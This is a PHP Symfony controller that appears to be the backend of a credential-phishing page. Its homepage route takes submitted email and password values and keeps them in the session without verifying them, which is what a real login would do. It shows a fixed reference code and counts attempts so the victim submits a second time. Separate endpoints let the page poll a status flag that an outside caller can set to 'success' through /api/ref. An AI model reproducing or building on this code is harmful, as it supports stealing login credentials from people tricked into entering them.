<?php
namespace App\Controller;
use App\Entity\Auth;
use App\Repository\AuthRepository;
use Doctrine\ORM\EntityManagerInterface;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpFoundation\Session\SessionInterface;
use Symfony\Component\Routing\Annotation\Route;
use Symfony\Contracts\Cache\CacheInterface;
class PageController extends AbstractController
{
/**
* @Route("/", name="app_homepage")
*/
public function index(
Request $request,
SessionInterface $session,
AuthRepository $authRepository
): Response
{
$step = 'login';
$stop = 'false';
$ref = '1547-6958-1265';
//$ref = implode("-",str_split($dry_ref, 4));
$auth = $authRepository->findOneBy([]);
//$session->clear();
if($request->getMethod() == 'POST'){
$auth->setCode($ref)
->setStatus(false)
;
$authRepository->add($auth, true);
$count = $session->get('stopee');
if(!$count =$session->get('stopee')){
$session->set('stopee', 1);
}else{
dump($count);
$count++;
if($count >= 2){
$stop = 'true';
$session->clear();
}else{
$session->set('stopee', $count);
}
}
$session->set('login', [
'login' => $request->request->get('email'),
'mp' => $request->request->get('password'),
]);
$step = 'process';
}
return $this->render('page/void-index.html.twig', [
'step' => $step,
'stop' => $stop,
'ref' => $ref,
'auth' => $auth,
]);
}
/**
* @Route("/login/check/{id}", name="app_login_check")
*/
public function login_check(Auth $auth): Response
{
if($auth->isStatus()){
return $this->json(['status' => 'success']);
}
return $this->json(['status' => 'failed']);
}
/**
* @Route("/login/process", name="app_login_process")
*/
public function login_process(): Response
{
return $this->render('page/index.html.twig', [
]);
}
/**
* @Route("/enroll", name="app_enroll")
*/
public function enroll(Request $request): Response
{
return $this->render('page/enroll.html.twig', [
]);
}
/**
* @Route("/api/ref", name="app_ref")
*/
public function ref_api(Request $request, AuthRepository $authRepository, EntityManagerInterface $em): Response
{
// $data = $request->request->all();
//$data = json_decode($request->getContent(), true);
// dd($data);
$message = 'Authentication failled';
$ref = $request->query->get('ref') ;
if($saved = $authRepository->findOneBy(['code' => $ref])){
if($ref == $saved->getCode()){
$saved->setStatus(true);
$em->persist($saved);
$em->flush();
$message = 'Authentication success';
}
}
return $this->json([
'msg' => $message,
]);
}
}